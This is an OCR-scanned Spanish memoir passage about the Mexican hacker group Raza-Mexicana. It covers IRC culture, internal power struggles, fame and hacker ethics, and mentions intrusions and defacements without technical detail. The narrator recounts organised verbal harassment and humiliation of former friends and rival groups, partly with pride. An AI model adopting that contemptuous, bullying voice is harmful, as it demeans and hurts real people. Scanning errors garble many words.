respondian con una velocidad solo calculable en décimas de segundo con 3
lineas que asentian, cuestionaban y reian, esas risas entrecortadas vy
expresadas en repetidas onomatopeyas descifrables tan solo para el ojo
instruido que podia encontrar el rostro de una persona con los o0jos
cerrados y una risa frenética en 2 letras, personas de distintas
entidades y latitudes geograficas cuyas barreras ya no estaban
delimitadas por la distancia o la jerga linglistica, si no por la falta
de tiempo para deglutir todo el mundo de un Dbocado, novatos que
encontraban en este alejado rincdén un lugar de conocimiento infinito vy
sin ataduras que solo era reprimido por sus preguntas incrédulas a la
gente de mas experiencia, habia amplios sectores que tomaban parte en
conversaciones simultaneas con 3 o mas personas, no se podia distinguir
si la respuesta era darle alientos a aquel que se quejaba por lo pesado
que resulto su semana laboral o la correcta forma en gque una de las miles
de lineas de programacién debia ser ingresada o incluso un altisonante
juego de palabras que hacia las veces de respuesta universal a todas las
demés y que generaban un estruendo de risas que daban pie a otra tanda de
preguntas y respuestas, entre ellos figuraban mujeres que hacian las
veces de compafiia y hombro de consolacibén para los presentes gue se
enfrascaban en interminables charlas que comprendian desde contrasefias
para sitios pornograficos, como hacer un pixel redondo, hasta intrusiones
al sistema mexicano de telefonia local y vulnerabilidades que podian ser
aprovechadas para controlar servidores internacionales, todo esto con la
libertad que proveia la velocidad con que se teclearan los datos y la
celeridad en la lectura y comprensién de los mismos. La simbiosis en esta
gente era evidente, todos ellos vivian una doble vida, como si esta fuera
una obra en las tablas de un teatro.

No habia un solo dia de descanso, la actividad era constante, 24 horas de
charlas continuas, todos los dias, todos los meses por muchos afios, aun
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sigo acumulando registros de ello y conservo aproximadamente 120megas de
4 afios volcados en texto puro. Si estos 120megas de informacién los
traducimos a palabras serian un aproximado de 30 millones de palabras, 1lo
cual le llevaria a 5 personas en turnos de 8 horas diarias un aproximado
de 2 meses para leer y para comprender el nivel de 1lectura de esas
charlas se deberia seleccionar a un hacker, un ingeniero, un psicdlogo,
un colegiado en letras y un degenerado sexual.

Entonces, como es que esta clase de personas podia convivir con seres aun
mads podridos que ellos mismos? No habia similitud en nosotros, en
absoluto, hipotéticamente el perseguir un bien comin le da balance vy
fuerza a una organizacién, pero a lo largo de este tiempo he visto a
muchos equipos que siguen esa formula de la similitud de ideales,
afinidades econdbmicas, sociales 'y culturales 'y otras causas que
supondrian una agrupacidén robusta y con ideologia inquebrantable en cada
uno de sus miembros, pero esta suposicidén hace que las cuarteaduras en el
interior sean aun mas grandes y lleven a una ruptura violenta de los
equipos que persiguen fines paralelos. En el papel todo suena bonito y
divertido, pero la practica nos mostrdé que esa clase de lineamientos
sanos son imposibles de alcanzar y aun cuando estos se consiguieran
tendria que haber un lider que los comande y vele por los intereses de
todos. Punto con el cual empezaremos el siguiente capitulo que le
mostrara a los futuros lideres que su tarea no serd detrds de un
escritorio, si no en las trincheras a la par de todos los soldados de su
batallén.

-Republica, dictadura e imperio

Toda agrupacidén, organizacidn, grupo, o célula de trabajo en conjunto
esta conformada por dirigentes y subalternos con distintas funciones,
caso que no se aplicaba al pie de la letra en nuestro equipo. Afuera del
equipo todos pensaban que la mano que movia los hilos dentro del equipo
era aquel que hacia mas webcracks, el que tenia més articulos publicados,
el que alzaba més la voz, el que tenia mayor carisma en el gremio o el
que les gritaba a todos por igual. Esa clase de rumores causo tirria vy
envidia entre todos los que estaban en posicidén para tener el control
dentro del grupo, pues el solo suponer que habia alguien con mayores
aptitudes que todos los demés era una forma diplomdtica de tildar de
ineptos a el resto del equipo, eso sin contar que entre las sonrisas vy
los apretones de manos de parte de los demds podria encerrar algun
complot para derrocarlo de su estanquillo de poder, claro que esa clase
de teorias eran tan verdaderas en la mente de todos como ficticias en el
papel.

Todos adentro sabian quien era el Comandante Supremo, aun cuando nadie lo
decia por temor a que fuese esto tema de discrepancias, pero todos tenian
a un lider Absoluto en mente, distinto a aquel Comandante Supremo,
aquellos que se sabian Lideres decian obrar entre ellos como una Mesa
Directiva para el bien de todos los deméds, cosa que los Fundadores no
tomaban muy en serio pues ellos tenian la ultima palabra de que, como y
cuando hacer las cosas, pues de ellos fue la idea original del equipo,
aun cuando los Miembros Vitalicios tenian una fuerza inagotable que podia
mover las conciencias de todos, pero ellos no eran tan numerosos como los
Miembros del Staff, y ellos eran el motor para tomar las acciones en sus
manos... Entonces, quien era realmente el que dictaba &6rdenes en Raza-
Mexicana? Me tomo 2 largos afios descubrir que todos eran los Comandantes
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Supremos, pero nadie se nombraba como tal esperando que alguien lo
hiciera. Fue ahi cuando empezaron los problemas por el poder.

El caso que aqui les presento no es distinto al de cualquier grupo, viejo
o nuevo. El esquema de una Republica se considera democratico como tal,
habrd alguien que sea nombrado el Presidente, y en los demds recaerd la
responsabilidad de llevar por buen camino a toda la demds gente que de el
depende, sus acciones serdn lo que sustente su puesto, pero jaméds tendré
la plena seguridad de que todos lo ven como tal, esta clase de
inseguridades son naturales, la gente piensa, opina y demanda acciones en
toda Republica, entre esta gente que demanda acciones en pro de todos,
estard alguien que gane fuerza a costa de los errores del Presidente.
Cuando a un Presidente lo corroe la duda y la inseguridad se apodera de
el presenta sefiales de flaqueza, es ahi cuando los dividendos del que
serid el préximo Presidente van al alza, las correas del poder deben ser
apretadas para que la cuadrilla no pierda rumbo, pero es aqui cuando la
Republica sufre el cambio mas radical en un solo paso, Dictadura. Las
correas flojas siempre le han sentado bien a la gente que impulsa a todo
el equipo, pero cuando son apretadas drasticamente es natural que el
equipo no tome con benepldcito el estrangulamiento a sus derechos, la
efervescencia se hard notar mas cuando los mandatos del Presidente ya no
sean tomados en cuenta o acatados por el resto del equipo, esto
impulsando en parte por el disgusto de la gente con su actual Presidente
y con la demanda general de buscar opciones justas, como las ofrecidas
por el que ahora es visto como lider. Lo demds ya se lo saben, se derroca
al presidente o este renuncia y cede el paso a sangre nueva, bla, bla,
bla y de ahi se presenta nuestra 3er etapa; Imperio.

Bajo el régimen imperialista todos estadn expuestos a las exigencias vy
arranques de locura del emperador, es como Jjugar Ruleta Rusa con una
pistola automética y una bala en la recamara; Diversiédn pura. En ese
régimen no hay cabida a preguntas, solo acciones, tampoco hay excusas,
solo la auto-flagelacidén, por supuesto que la existencia de duda sobre el
buen proceder del emperador es un pecado mayor al parricidio. Pocos casos
he visto que no sigan esta méxima histdérica, una consecuencia que trae el
Imperialismo es el prolongamiento indefinido de la fuerza en este esquema
de gobierno, Raza-Mexicana no fue la excepcidn, pero al menos nuestro
proceder fue el correcto y se rompidé con la linea indefinida del Imperio
y llegamos a un buen termino de estancamiento y fiaca, misma que sigue
rigiendo nuestros pasos. Hasta el dia de hoy no me arrepiento de ello,
aun cuando la falta de accidén a priori nos coloco en este vado de lodo,
ello fue con el pleno uso de nuestras facultades hormonales, asi pues, lo
considero como un 1lienzo lleno de matices grises que no caen en la
ausencia de color como el caso de algo totalmente negro o blanco.
Mediocre a fin de cuentas.

-La espada de Damocles

Después de ingresar al circulo de confianza de algunos cuantos que vya
habia tenido el gusto de conocer en persona me di a la tarea de medir la
situaciédn y permanecer vivo, aun no habia experimentado la manera en la
cual la gente era desterrada de este mundo privado, la primera vez que lo
vi fue algo que no podia creer. Era esa gente, que hasta entonces
consideraba simbionte, capaz de extirpar con ufias y dientes una de sus
extremidades con tal safia y vehemencia, que parecia que estaba infectado
con una voraz gangrena expandiéndose por todo su cuerpo? asi era. Todo
apuntaba a que la hiedra seria extraida, no sin antes ser quemada,
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aplastada y destruida por una comuna de flamigeras garras que
manifestaban su encono al que alguna vez llamaron su amigo y compafiero,
nadie hacia un esfuerzo por ayudarlo, era una orgia de sangre y venganza
que no encontraria satisfaccidén aun cuando el enjuiciado se encontrase
indefenso a tal cantidad de atagques sin poder esbozar una respuesta
coherente a las decenas de preguntas y condenas que lo hacian merecedor a
una humillacién tal que tan solo podria ser descrita como un
apedreamiento comunal. Poco duro mi asombro, pues al poco tiempo la
experiencia fue repetida... siendo yo participe de ella.

Como nunca antes habia experimentado tal fuerza, tan cantidad de furia
concentrada en un solo punto, la magnitud de las palabras harian
palidecer al mas cuerdo y centrado, eran palabras perforantes, no herian,
solo medraban la humanidad de aquella persona, hacian verlo reducido a
nada; El sentia dolor como yo, expresaba emociones como cualquier otra
persona, era frédgil para apiadarse del desvalido, pero fuerte como para
extender la mano y mirar a los ojos con la certeza de que veia en mi a un
amigo... quise darle una explicacidén a mis acciones, probablemente cuando
la vida me enjuicie podré abogar en mi defensa la deficiencia de mis
valores civicos y que esto fue catalizador para que aplastara a esa

persona que me llamo “amigo”, aun cuando tenia muy adentro que el me
auxilio cuando el infortunio y la enfermedad me hicieron depender
enteramente de su ayuda. No hay excusa, 1lo hice y creo que la

insensibilidad que antes poseia muto en cdbdlera e impasividad hacia los
mente-débiles.

Para este punto sabrdn que de tener la oportunidad de enmendar mis
acciones no lo haria, tendria la misma o mas fuerza para acometer con la
bayoneta de frente a esa persona que Jjamas tuvo contra mi, algo de
malicia. El tiempo pasdé y la suerte me dio la oportunidad de cambiar la
vestimenta de jurado a la toga de juez. Como juez obre como mis visceras
y mi sed insaciable de sangre me dictaron, por mis venas corria como
droga una invulnerabilidad que hacia que cualquier insulto proferido por
el acusado hacia mi, fuera absorbido, inyectando mas combustible a la
maquina de destruccién en la que me convertia cada vez gque yo era que
presidia el estrado, nunca, nadie pudo tener un juicio justo cuando me
toco a mi enjuiciar, todos ellos fueron desterrados no sin antes pasar
por una inclemente lluvia de insultos y vejaciones gque mermaban al mas
plantado de los guerreros. La masacres subian de intensidad, cada vez
eran por asuntos mas triviales, la gente Jjoven se regocijaba al déarsele
la oportunidad de participar en el apaleo de sus alguna vez, amigos. Para
este punto la pregunta que debe rondar en sus cabezas es: Cuanto tiempo
dura la “amistad” de ustedes? Esa respuesta me la dieron las personas a
las que yo aun llamo amigos. Aun cuando esta amistad en principio tuvo el
objetivo de ganar simpatias y aliados, se fueron dando las cosas para que
sanear dudas e intrigas entre todos, en los momentos dificiles ellos
estuvieron conmigo y yo hice la par, en los tiempos de diversidén vy
alegria estuvimos al lado para disfrutar de temporadas enteras de
camaraderia y ahora, que esto se va a terminar estamos mas Jjuntos que
antes, pues los afios nos dejaron solidificado las bases para seguir
siendo amigos después del pasar del tiempo.

Muchas personas que han tenido el gusto de platicar con nosotros en
campos neutrales, nos ha preguntado el porque de nuestra actitud, esa
actitud rigida, wvil, cruel y predatoria, que merma y humilla a la gente,
también se cuestionan porque a cualquier lugar que pisamos tenemos que
hacer valer nuestras ideas sobre las de la demés gente, todo esto les
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extrafia, pues es un comportamiento antisocial y de cerrazdbdn, propio de un
perfecto tirano, no conciben la idea de llegar a un lugar sin intentar
hacer buenas migas con todos su anfitriones. Para nosotros toda esa clase
de comportamiento nos parece hipdécrita y falso. Si alguien no es de
nuestro completo agrado, no tenemos el menor empacho de decirselo de
frente, aqui y en el mundo real. No hemos tratado de ganar amigos por
todos lados, porque simplemente nuestra actitud es reservada, siempre
tratamos de ver mas alld de la mascara que todos se colocan en este medio
y por desgracia muchas veces esconden a gente idiota, débiles de mente,
hipécritas, fatuos y cobardes, personas como estas que buscan a como de
lugar el hacer multiples amigos para hacerlos su balsa de salvacidn o sus
sirvientes personales con el fin de escalar mas lugares en el medio,
personas como estas reciben de nosotros el peor trato que podemos
ofrecerles. En cuanto a nuestra ideologia sobre la de los demds es de lo
mads natural, el ser humano que se distingue como individuo, tiene la
facultad de razonamiento y de duda, misma duda que deja espacio a otras
opiniones y a diferir de estas. Pero mucha gente cree que las opiniones
personales son inquebrantables y sin espacio o cabida a la replica vy
rechazo, ahi es cuando no concordamos en lo absoluto, es cuando exponemos
nuestra opinidén, que para muchos es un beligerante reto a su sociedad y a
su intelecto y bueno, la conclusién se ve a leguas, asi empezamos a
raspar diferencias todos contra todos, asi fue como nos ganamos el mote
de ser uno de los grupos "“mas odiados” 'y “respetados” por nuestra mano
dura y la imposicién de nuestra doctrina. Cuestidédn que quedara aclarada
en el transcurso de los capitulos de este relato.

Las relaciones rispidas en el medio siempre se impregnan de un aire de
rivalidad, es una competencia entre unos y otros, pero siempre hay que
manejarlas con la suavidad de la palma de la mano extendida y con la
rigidez de una hilera de nudillos de la mano cerrada, diplomacia al fin y
al cabo.

-Diplomacia = Hipocresia disfrazada

El escalar peldafios para llegar a tener una distincidén meritoria en el
grupo no era tarea fécil, el tiempo vy las acciones en conjunto
demostraron que podian confiar en alguien, hasta que los demés 1lo
consideraran digno de reconocimiento. Una de las formas mas féciles de
escalar era que alguien se hiciera cargo de tu miserable persona o
respondiera por tus acciones y les correspondieras con la responsabilidad
debida a tal sacrificio, regularmente nadie metia las manos en el fuego
por un ahijado si este hacia algo indebido, pero se calmaban los &animos
entre Jjuegos de palabras y hacer que el ofensor pidiera disculpas sin
llegar a rogar o sonar muy sumiso, simplemente dentro de los margenes de
la camaraderia y la hipocresia. Esto nos lleva a un punto medular; La
relacidén entre equipos vecinos.

Se acostumbraba reunir a la gente los sé&bados en la madrugada, dque era
cuando se tenia mas qubérum y todos iriamos a visitar a algin equipo
vecino o a personas sin bandera de alguna nacionalidad, solo con fines
amistosos. Claro que la esfera de cristal siempre se rompe cuando algin
imprudente trata de Jugar futbol con ella y regularmente nosotros
haciamos pagar los platos rotos contra quien estuviera en nuestra
diestra. Los combates que se llevaban a cabo entre equipos no se decidian
por quien tenia mejores exploits, el que hubiere conseguido mas
defacements o aquel que pudiera entrar en nuestros servidores y atacarnos
de 1lleno, no; esas peleas se lidiaban con cerebro y velocidad mental,
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regularmente nos encontrdbamos con 2 especies de combatientes, 1los
chiguillos que apenas si podian esgrimir 1 linea sin que le llegara en
rafagas de 3 a 5 ataques verbales continuos de la mayor envergadura,
siendo una pelea argumentativa, no se podia uno tentar el corazdn y esto
se velia reflejado cuando no podian defenderse y recurrian a expulsarnos
de sus territorios por su falta de pericia mental, aunque esta regla no
se aplicaba solo a los inexpertos adolescentes, también, vy en gran
medida, con gente que decia ser de avanzada edad y sabiduria, ellos caian
de forma mas humillante pues sus 25, 30, 35 o mas afios de edad solo los
dejaba ver como lerdos cretinos que no pueden seguir adelante sin
consultar un diccionario para comprender el significado de nuestros
improperios. Otro tipo de gente que son mas dificil de lidiar, son los
“Micos con teclado”, y no porque tuviesen una amplio repertorio de
argumentos para poder contrarrestar cualquier ofensiva o una suprema
destreza para replicar a sus agresores, al contrario, esta clase de
gentes solo responde con frases incoherentes que parecen salidas de un
incapacitado mental, su poca habilidad los hacia tropezar consigo mismos
y al verse acorralados solo acertaban a decir una sarta de vulgaridades
de alto calibre y poco sentido, simios con gran velocidad taquigréafica
solo implementada para escribir elocuentes palabras dignas de una
pulqueria rural... y porque eran los mas dificiles? Porque nadie podia
entablar una discusién receptor-transmisor, al ser el agredido solo
transmisor, sin buscar siquiera oportunidad de replica, se podia seguir
vociferando majaderias sin ton ni son por largos periodos. Por razones de
tiempo y falta de evidencia menos ofensiva, creo que se han hecho a la
idea de cbémo se manejaban las cosas en nuestras famosas y rutinarias
“visitas sociales”, eso sin contar que cualquier cita que hiciera a
alguno de estos micos en cuestidén, los haria solo vanagloriarse de tener
un recoveco en mi mente, preferi omitir esa penosa tortura.

Nuestras peleas nos involucraban a un numero no mayor de 5 integrantes de
Raza-Mexicana contra el cualquier cantidad de personas que gquerian jugar
a ser carne de cafibn, hubo temporadas en las que cada fin de semana 3
integrantes de el equipo peledbamos contra cualquiera gque quisiera
discutir con nosotros, la ventaja de quienes visitdbamos era marcada por
el amplio numero de personas, por ser ellos los locales y por tener el
poder de corrernos cuando se les diera su regalada gana o cuando no
tuvieran suficientes argumentos contra nosotros. Hasta donde yo recuerde
no hubo un gran numero de “wictorias” de nuestra parte, siempre se
cortaban las discusiones cuando el numero de los “enemigos” temporales se
veia decrecido y solo gquedaba un pufiado de 7 contra los mismos 3 que
entrédbamos. La historia sabré& castigarnos por nuestras acciones viles,
pero desde este lado del monitor es un motivo mads para reirme en los
ultimos minutos que me queden de asquerosa existencia.

Para desgracia de quienes se vieron envueltos en problemas o conflictos
con el equipo (En un promedio del 20% era bien fundamentado y el otro
restante era solo cuando estdbamos aburridos y no necesitdbamos excusa
alguna para despedazar a alguien), fueron aplastados por una brutal
marejada de insultos e improperios por nuestra parte, el hecho mas fuerte
se suscitdé cuando uno de nuestros miembros se vio afectado al ver
plagiado un articulo suyo publicado en la pagina de un equipo en plena
integracién. Solo basto esa excusa para que en cuestidédn de 1 hora se
organizara el mayor despliegue de Raza-Mexicana. No mentiré,
probablemente este problema se pudo haber arreglado entre el autor y el
plagiario, pero por desgracia, este es un equipo, teniamos que estar
siempre al lado de cada uno de nosotros, para bien o para mal la unidad
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siempre tenia que prevalecer, aun cuando el escenario que ahi se dibujo
fue dantesco, 8 horas de discusién y replicas, todos contra todos, los
roles se intercalaban entre agresor y defensor, no habia cuartel al cual
acudir, sus fuerzas se vieron medradas al pasar de las horas, tuvieron
que llamar a terceras personas, ajenas al conflicto que ahi se presento
con la sola idea de poder contrarrestar el coloso que ante ellos tenian.
Pero esto tuvo un resultado justo para todos, el cual hasta estos dias
resulta un tanto confuso; El plagio supuestamente fue a otro autor y el
texto solo fue completado con parte de la investigacién que hizo nuestro
compafiero afectado, pidieron una disculpa y trataron de enmendar el dafio
citando propiamente a las fuentes, mocidén que no se acepto y se exigid su
remocidén total de su pagina. Después de ver nuestras manos manchadas con
la sangre de unos nifios que no sabian el porque gente, supuestamente
respetable como lo éramos nosotros, fueron tan sadistas por un asunto
meramente diplomdtico, se opto por no repetir aquel escenario, hasta la
fecha no se ha vuelto a emplear un despliegue de tal magnitud y violencia
como el de aquella noche.

A los pocos meses nos enteramos que ese equipo habia desaparecido, no
sabemos a ciencia cierta si el evento de aquella noche desestabilizo a
ese grupo o simplemente su vida llego a un fin abrupto por otras causas.
Aun hoy, me ha rondado la idea de que esto lo haciamos con el fin de no
ver opacada nuestra gloria por otros equipos que deseaban sobresalir,
pero era solamente nuestra forma de ser, nuestra forma de expresarnos y
nuestra manera de hacerle sentir a quien fuera, que las batallas se ganan
con voz de mando y con unidades totalmente entrenadas. Para nosotros no
fue una victoria, simplemente fue una demostracidén de lo que podiamos
llegar a ser como equipo, como individuos y como fuerza en uno de los
tantos frentes que debian ser defendidos. Todo en pos de ser guienes
pensdbamos ser; Los mas poderosos.

-E1 globo de Cantoya

El auge de esta generacidén de hackers mexicanos tuvo lugar entre los afios
1996 y 2000, los medios hacian una cobertura minuciosa de cualqguier
evento suscitado por la comunidad, esto es lo que ya muchos saben, pero
por dentro se sabia que eso solo fue producto de la parafernalia del
webcrack y dafacements con tintes politicos, solo eran llamaradas de
petate. El1 hacking en México solo tuvo cabida en las esferas internas
cuando salian revistas electrdnicas con informacidén, bugs y fallos nuevos
y cuando los equipos destacaban por los logros en conjunto o de sus
integrantes, por desgracia muchas veces eso eran falacias y leyendas de
latén.

Raza-Mexicana no innovo o hizo nada que no hubiera visto antes, lo que
hizo fue tener a un pufiado de los mejores hackers latinoamericanos entre
sus filas, muchos de ellos se dedicaron a crecer como individuos y otros
tantos, vieron acrecentados sus bonos por la luz de los reflectores. La
fama es una hidra que vive en nuestro interior, es insaciable si es que
tenemos la desdicha de despertarla, muchos cayeron en el pecado de
alimentarla y cometieron crasos errores que afectaron a todos los que le
rodeaban. Todos, absolutamente todos lo que tienen en mente la idea de
ser hackers han pensado en verse rodeados de fama vy fortuna, por
desgracia esa es una de las mas grandes faltas a la ética del hacker,
pero es una de las piedras en el camino que se deben sortear o tropezar
para poder comprender a plenitud las consecuencias inherentes que este
titulo acarrea. No mentiré, yo también alimente a la hidra,
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afortunadamente también supe el momento de dejar ese vicio, aun cuando
los tiempos eran propicios para seguirla retacando de fama, y eso no fue
por mi tenaz fuerza de voluntad o alguna idiotez de ese calibre, fue
porque vi como la gente a mi lado, caia victima de esa cruel droga y
también el como la gente que estaba debajo de nosotros se desgafiitaba en
hacer webcracks, gritos eufdricos en correos o aspavientos en nuestra
presencia para hacerse notar, con lo cual solo se ganaban desprecio y
humillacién. Hoy en dia el hacking en México ya no es noticia, ya no es
un evento digno de voltear a verlo, probablemente por ello se piensa que
todo el Underground Mexicano va a desaparecer en un futuro no muy lejano.

Muchos equipos del medio apoyaron el hacking como expresién, con la
excusa de apoyar causas sociales, problemas politicos, conflictos
internacionales y como boletin al mundo de gquerellas personales. Esto
como bien he aprendido, es incorrecto, la ética del hacker deberian de
seguirse como mandamientos Dbiblicos, pero los hacemos a un lado como
mejor convenga a nuestros intereses y ellos implicaron en un gran numero
de ocasiones, la fama, la bendita fama... hoy seflalo directamente a esos
hackers como autores de esas obras que infringen en muchos puntos la
ética de un hacker, pero muchos de ellos lo negaran y evadiran su
responsabilidad y eso se debe en gran medida a que hoy en dia, dicen ser
hackers con ética y moral integra, pero ni la moral ni la ética se
consiguen con una mente podrida que no sanea y expone los pecados de su
pasado.

El Underground Mexicano en sus tiempos de gloria no recaia solo en Raza-
Mexicana, es estUpido pensar gque nosotros éramos el estandarte de ese
movimiento a nivel Latinoamérica, nosotros trabajdbamos para el bien
comin, haciamos articulos en conjunto con otros equipos e individuos, la
fama que nos perseguia cual sabueso al zorro, la usdbamos para darle
jalones de orejas a equipos pequefios que tenian una idea malversada de lo
que el Underground era, algunas veces funcionaba y otras no, pero
haciamos el intento y aun cuando se crea que el Underground en México
desaparecera, seguiréan existiendo grupos internacionales e
hispanoparlantes que seguirdn fomentando el buen uso de esta poderosa
arma y para ellos, gque estaban antes de gque este equipo siquiera
existiera y que siguen activos aun cuando no sean vigentes en la memoria
de muchos, para ellos, va mi reconocimiento y gratitud pues de todos
nosotros es la tarea de apoyar a las nuevas generaciones de hackers, tal
como ellos lo hicieron con nosotros.

Aun hoy, esa fama desgastada es lo gque atrae en mayor porcentaje a todos
los escuincles al underground, la juventud de hoy en dia no quiere llenar
su mente de conocimiento, aprender paso a paso y crecer como individuos,
lo que quieren es hacerse notar, ser como los grandes del medio, codearse
con las personalidades del underground, sentir lo inmundamente importante
que hace sentir la fama a todo aquel que la experimenta. Pero les tengo
una importante noticia a todos los pequefiuelos que siguen anhelando el
dia en que la fama los toque con su varita magica; Podradn ser reconocidos
por la gente aun se impresione con espejitos y cuentas de vidrio, pero
jamds serdn respetados por la gente que ustedes alguna vez admiraron. Eso
los va a rondar toda su miserable vida, es un estigma que no se quitara
jamads de la gente que entra al medio solo para buscar fama, sin lugar a
dudas es la maldicidén mas importante del medio, aun mas que los delitos y
el pasado oscuro, la fama es lo que mas gente corrompe y lo que mas medra
el verdadero sentido del Underground.
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Como antes mencioné, muchos de los integrantes de esta organizacidén se
vieron aquejados y seducidos por este canto de sirenas, y siendo
nosotros, antes que equipo, amigos en coman, actuamos cual turba
enardecida en pro de ayudar al compafiero desvalido de razdén, claro que la
confianza que depositamos en cada uno de nosotros reditlia cuando hacemos
hincapié en 1los errores de todos nosotros, quien mejor que nuestros
amigos para ayudarnos unos a otros. Si es que maflana surge un equipo y
este aprende de los errores cometidos por sus antecesores y se dedica a
impulsar toda las expresiones del Underground sin fines ocultos vy
principalmente, si se conserva siempre, por debajo del suelo, con un
perfil bajo, entonces creo firmemente que podra superar lo gque para mi
represento Raza-Mexicana y yo seré alguien que aplauda su labor. Pero el
siguiente capitulo es probablemente el mas dificil de sostener y sin
lugar a dudas, asegurara el éxito de cualgquier equipo u organizacidn.

-La verdadera Raza

Como explique al principio, la formula de este equipo fueron 4 alegres
compadres que al ritmo de unas caguamas en bolsita, decidieron formar un
equipo de hacking y demds mafias. Nadie imagino que desencadenaria ese
evento, y claro que no me refiero a lo que llego a ser Raza-Mexicana, lo
que hizo fue juntar a un selecto grupo de personas con un interés comin y
con una gama de nacionalidades, edades, personalidades e ideologias que a
pesar de sus diferencias, intereses ajenos, apartados totalmente de las
envidias y los celos de la profesiédn pudieron convivir y trabajar en
equipo. Si pudiera ver los eventos que marcaron esta historia en el
cuerpo de otra persona, hubiera hecho lo posible para que esa ingesta de
cebada fermentada nunca se hubiera llevado a cabo.

Las bases para que una sociedad funcione y rinda frutos, es la confianza
y el trabajo, si aceptaron estar en sociedad es para trabajar todos en
conjunto y que mejor manera de cimentar el trabajo que la confianza en
comuin de 4 amigos. Desgraciadamente estos tiempos modernos de
capitalismo, globalizacidén y empresas multinacionales orillan a la gente
a abrir las puertas a medios externos para hacer crecer esta pequefia
sociedad. Muchos de estos bonos fueron usados para hacer de esa pequefla
sociedad una transnacional de alta envergadura con un engranaje bien
engrasado para trabajar como una productiva y eficiente magquinaria...
pero pus estamos en México, no? Si sefior, y como todo lo hecho
orgullosamente en México, sale involuntariamente con defectos, es la
naturaleza del Mexicano, por mas que querramos hacer las cosas bien, hay
trabas, por mas que querramos vivir en rectitud, siempre hay que dar una
mordida, cuando la buena voluntad guia nuestras acciones, habrd alguien
malintencionada que velara por corrompernos. Ahhh, todo esto es un regalo
que nos regala la patria, es lo gue nos hace esgrimir una sonrisa y mirar
sin destino alguno hacia al cielo para decirle “Gracias” a ese
destinatario sin identidad gque nos puso en los predicamentos.

En mis primeras apariciones <con los integrantes de Raza-Mexicana,
experimente una constante rivalidad por saber quien era el mejor de
nosotros, sabia que yo estaba excluido de esa trivial lucha de poderes,
asi que me abstuve de tal discusidén, se me hacia una competencia de
faisanes presumiendo sus coloridos plumajes en pos de hacerse notar, eso
sin contar de que yo me sentia un vil pavo gque no tenia meritos
suficientes para participar en tal evento. Algo que descubri con mucho
gusto fue que habia otros que compartian mi sentimiento aun cuando no lo
expresaran abiertamente, pues tal actitud supondria renegar de sus logros
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obtenidos, mismos que en un principio se tasaban como galardones de
guerra, pero que a final de cuenta eran simples corcholatas mal
remendadas. Pasado el tiempo empecé a hacer migas con personas de las
cuales nos distinguia todo menos el amor al hacking, empezamos a tener
charlas mas subidas de tono y personales, pero siempre conservando
nuestras i1dentidades ocultas, a mi no me molestaba el hecho de hacer
publica mi identidad, no tenia nada que ocultar o algo que comprometiera
mi seguridad o integridad, pero asi era el juego, debia de jugar con esas
reglas y seguir adelante. Aun hoy, prefiero conservar ese grado de
ignominia sobre sus vidas, con ellos aprendi que entre mas sabe uno de
los deméds, mas peligroso se vuelve esa persona, optar por pasar
desapercibido en sus vidas y seguir con un perfil bajo fue lo mas sano.

Con algunos de estos integrantes tuve un contacto mas estrecho que el de
un “Amigo de IRC”, no se si fue mi habilidad para la mofa, el sarcasmo,
las bromas subidas de tono o mi humor negro lo que dio pie a que me
extendieran mas confianza de la debida, en un modo poético se lo atribuyo
a lo tajante que era cuando se me pedia contestar, quizéds fue lo sincero
y crudo que era mi actuar con las demds personas o probablemente que
estaba abierto a cualquier tipo de conversacidn seria y apartada del
medio lo que me hizo ganar votos de confianza entre mis compafieros,
prefiero quedarme con la idea de haber sido mas apto de amigo que de
enemigo, fuera esa o no la razdn, muchos me ayudaron cuan